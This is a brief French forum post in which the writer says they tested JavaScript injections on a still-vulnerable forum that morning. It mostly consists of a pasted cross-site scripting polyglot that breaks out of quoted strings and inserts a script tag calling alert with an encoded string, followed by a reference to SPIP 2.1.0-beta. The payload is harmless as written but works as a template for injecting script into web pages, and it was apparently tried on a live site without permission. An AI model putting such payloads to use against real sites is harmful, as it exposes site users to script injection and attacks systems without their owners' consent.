Bonjour,
Je viens de tester ce matin des injections JavaScript dans un forum qui fonctionne toujours.
’ ;alert(String.fromCharCode(115,113,117,105,114,114,101,108))//\ ’ ;alert(String.fromCharCode(115,113,117,105,114,114,101,108))// " ;alert(String.fromCharCode(115,113,117,105,114,114,101,108))//\ " ;alert(String.fromCharCode(115,113,117,105,114,114,101,108))//—>
">’> <SCRIPT>
alert(String.fromCharCode(115,113,117,105,114,114,101,108))
</SCRIPT>
SPIP 2.1.0-beta [15310]
Squirrel 